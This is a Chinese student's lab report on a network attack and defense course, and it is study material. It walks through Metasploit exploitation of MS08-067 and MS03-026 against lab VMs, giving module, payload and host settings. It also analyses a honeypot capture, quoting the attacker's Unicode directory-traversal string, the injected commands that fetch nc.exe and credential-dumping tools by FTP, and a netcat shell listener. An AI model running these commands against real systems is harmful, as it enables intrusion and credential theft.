20242830 2021-2022-2 《网络攻防实践》第六周作业
一、知识点梳理与总结
本次实验旨在学会使用Metasploit软件对Windows系统进行远程渗透实验,能够让我们深入了解漏洞的原理和利用过程,如MS08-067这样的常见漏洞,通过实际操作去发现和利用它们,可以更加直观地理解系统存在的安全隐患。同时,这一过程也帮助我们熟练掌握Metasploit这一强大的渗透测试工具,学会如何在合法授权的情况下,对目标系统进行安全评估,发现潜在的漏洞并加以利用,从而为系统的加固和安全策略的制定提供有力依据。
此外,解码一次成功的NT系统破解攻击,能够让我们从攻击者的角度去分析攻击手段和过程,学习如何更好地防御此类攻击,提升系统的整体安全性,增强我们对网络安全的防护意识和能力。
1. 实验环境
-
运行环境:VMware、Windows
-
虚拟机选择:靶机——win2000;攻击机——winXP、kali
-
kali:192.168.200.5
-
winxp:192.168.200.4
-
Metasploitable:192.168.200.123
-
win2000:192.168.200.124
2. 实验内容与原理
-
漏洞利用原理:Windows系统中存在各种漏洞,如MS08-067漏洞,这些漏洞可能是由于软件代码中的错误或设计缺陷导致的。攻击者可以利用这些漏洞来执行恶意代码或获取系统权限。Metasploit软件提供了大量的预设漏洞利用模块,通过选择合适的模块并配置相关参数,可以自动化的利用这些漏洞进行渗透攻击。
-
渗透测试原理:渗透测试是一种模拟攻击者行为来评估系统安全性的方法。使用Metasploit进行渗透测试时,通过模拟真实的攻击场景,对目标Windows系统进行漏洞扫描、利用和权限提升等操作,从而发现系统的安全弱点。测试过程中,会遵循一定的流程,包括信息收集、漏洞分析、攻击执行和结果验证等步骤,以确保全面评估系统安全性。
-
数据解码原理:在解码NT系统破解攻击的过程中,需要对攻击过程中产生的数据进行分析和解读。这些数据可能包括网络数据包、系统日志、攻击工具的日志等。通过对这些数据的解析,可以了解攻击者使用的具体方法、攻击路径以及系统被攻破的关键环节,从而为防御措施的制定提供依据。
实验内容 | 如何实现 | 其他 |
---|---|---|
环境搭建与配置 | 在实验开始前,需要搭建一个包含攻击机和目标Windows系统的实验环境。攻击机上安装Metasploit软件以及相关的辅助工具,如Wireshark用于网络数据包的捕获和分析 | 要确保攻击机和目标系统之间具有良好的网络连通性,以便进行远程渗透测试 |
漏洞扫描与利用 | 使用Metasploit的漏洞扫描功能,对目标Windows系统进行全面的漏洞扫描,识别出存在的可被利用的漏洞。根据扫描结果,选择合适的漏洞利用模块,并设置相应的参数,如目标IP地址、漏洞类型等 | 通过执行Metasploit的攻击命令,利用所选漏洞对目标系统进行渗透攻击,尝试获取系统的控制权限 |
攻击过程监控与数据采集 | 在攻击进行的同时,利用Wireshark等网络监测工具对网络数据包进行实时捕获和监控,这有助于记录攻击过程中的网络通信情况 | 攻击者发送的数据包、目标系统返回的响应等信息,为后续的解码和分析提供数据基础 |
结果分析与解码 | 攻击成功后,对获取到的数据进行详细的分析和解码。一方面,查看Metasploit返回的攻击结果信息,了解攻击是否成功以及获取到的系统权限等关键数据;另一方面,对捕获的网络数据包进行深入解析,找出攻击者使用的具体技术手段、攻击路径以及系统被攻破的详细过程。通过对比正常和异常数据 | 进一步明确攻击的特征和规律,为制定有效的防御策略提供参考 |
- MS08-067漏洞 是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote CodeExecution)。MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。
二、实验过程
1.任务一:动手实践Metasploit windows attacker,使用metasploit软件进行windows远程渗透统计实验,使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
2.1 概念:Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
2.2 在winXP中输入命令 等待Metasploit加载完成。
msfconsole
2.3 使用MS08-067漏洞,使用命令如下:
search ms08_067
use windows/smb/ms08_067_netapi
- 然后我们设置攻击载荷为TCP反向连接载荷,并设置lhost为攻击机IP,rhost为靶机IP,target设置为0即自动,具体命令为:
set payload generic/shell_reverse_tcp
set LHOST 192.168.200.4
set RHOST 192.168.200.124
show options
2.4 最后使用命令 即可获取靶机的Shell
exploit
2.任务二:取证分析实践:解码一次成功的NT系统破解攻击,来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程
2.1用Wireshark打开 snort-0204@0117.log 文件并通过题目给出信息设置过滤条件对数据包进行过滤,然后追踪TCP流
ip.addr ==213.116.251.162 && ip.addr == 172.16.1.106
2.2 当翻到第7个TCP流的时候,我们可以发现使用了目录遍历攻击,其特征为
%C0%AF
在URL编码中, %xx 表示一个字节(0-255 的数字),每个字节x都是十六进制数字,因此 %C0%AF ,在 URL 中对应于将字节 C0 AF 放入解码后的 URL,即字节 192 (1100 0000)和字节 175 (1010 1111) 。这里使用到了Unicode扩展,其中,1110 x xxx 意味着它是一个三字节序列的开始, 1111 0xxx 是一个四字节序列,而C0( 110 0 0000 )则表示该序列为两字节序列,且第一字节内容为 0000 ,而第二字节的AF( 10101111 ),最开始的 10 表示这是第一字节的延续,且第二字节内容为 10 1111 ,转换为10进制为47,在ASCII码中代表
2.3 流11中我发现了SQL注入攻击,其注入语句为:
Select * from Customers where City='|shell("cmd /c echo werd >> c:\fun")|'driver={Microsoft Access Driver (*mdb)};dbq=c:\winnt\help\iis\htm\tutorial\btcustmrmdb;
2.4 从流14开始到流26,陆续使用SQL注入漏洞,攻击者尝试创建一个FTP用户,用户名为johna2k,密码为hacker2000,并分别用FTP下载了 samdump.dll 、 pdump.exe 、 nc.exe,流27攻击者尝试登录FTP,但却失败
cmd /c echo user johna2k > ftpcom
cmd /c echo hacker2000 >> ftpcom
cmd /c echo get samdump.dll >> ftpcom
cmd /c echo get pdump.exe >> ftpcom
cmd /c echo get nc.exe >> ftpcom
cmd /c echo quit >> ftpcom
cmd /c ftp -s:ftpcom -n www.nether.net
2.5 攻击者继续使用SQL注入漏洞执行了以下操作
cmd /c ftp 213.116.251.162 #让靶机连接213.116.251.162
cmd /c echo open 213.116.251.162 > ftpcom
cmd /c echo user johna2k > ftpcom
cmd /c echo hacker2000 >> ftpcom
cmd /c echo get samdump.dll >> ftpcom
cmd /c echo get pdump.exe >> ftpcom
cmd /c echo get nc.exe >> ftpcom
cmd /c echo quit >> ftpcom
cmd /c ftp -s ftpcom
cmd /c open 212.139.12.26
cmd /c echo user johna2k > sasfile
cmd /c echo haxedj00 > sasfile
cmd /c echo get pdump.exe >> sasfile
2.6 最终,在流106时攻击者成功连接FTP,并通过靶机的1271端口下载 nc.exe ,通过靶机的1272端口下载 pdump.exe ,通过靶机的1273端口下载 samdump.dll
2.7 流109中攻击者通过命令用netcat在6969端口处反弹了一个shell,这下攻击者即可通过netcat远程访问靶机了(拿到了shell),于是我们便看到流111给攻击者使用shell控制靶机了
/msadc/../../../../../../program files/common
files/system/msadc/cmd1.exe?/c nc -l -p 6969 -e cmd1.exe
2.8 随后攻击者又在流169和流178两次访问了靶机,并在流178中得出了结论,证明攻击者发现了他的目标是一台蜜罐主机。
为了防止这样的攻击,应该及时更新操作系统官方的漏洞补丁,并采用杀毒软件动态监控可能出现的攻击行为
3.任务三: 团队对抗实践:windows系统远程渗透攻击和分析,攻方使用metasploit选择漏洞进行攻击,获得控制权。防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
攻击 | 防守 |
---|---|
192.168.200.5 | 192.168.200.124 |
3.1 我使用了MS03-026 / MS03-039: Buffer Overrun In RPCSS Service Could Allow CodeExecution (823980 / 824146)漏漏洞洞进行攻击
use exploit/windows/dcerpc/ms03_026_dcom
set payload windows/shell_bind_tcp
set RHOST 192.168.200.124
3.2 成功进行了攻击,并分析防御抓包内容
通过载荷利用漏洞成功反弹了Shell,抓包情况如下所示
三、学习中遇到的问题及解决
- 问题1:一开始对于攻击机与靶机不能ping通,更不能使用Metasploit服务。
问题1解决方案:由于win2000和winXP一个需要在VMnet1一个需要在VMnet8,一开始上次做实验将两个都放在了VMnet1,所以导致ping不通,更改过后可以解决。
四、学习感悟与思考
在此次实验过程中,我深刻体会到理论与实践结合的重要性。网络安全领域中,仅仅学习理论知识是远远不够的,只有通过实际操作,如使用Metasploit进行渗透测试,才能真正将理论知识转化为实际技能,解决实际问题。
同时,也认识到持续学习和更新知识的必要性,因为网络安全技术日新月异,新的漏洞和攻击手段不断涌现,只有紧跟技术前沿,才能更好地应对不断变化的网络安全威胁。团队协作与交流的价值也在实验中得到体现,尤其是在团队对抗实践环节,通过与团队成员的密切合作、共同探讨和分享经验,能够拓宽思路,提高解决问题的效率。
面对实验中出现的各种问题和挑战,如网络配置错误、攻击失败等,培养了自己独立思考和解决问题的能力,学会了如何在遇到困难时保持冷静,通过不断尝试和探索找到解决方案。最重要的是,明确了掌握渗透测试技术所带来的责任,要将所学知识用于合法的网络安全防护工作,遵守法律法规,坚决抵制非法的攻击和入侵行为,为维护网络安全做出积极贡献。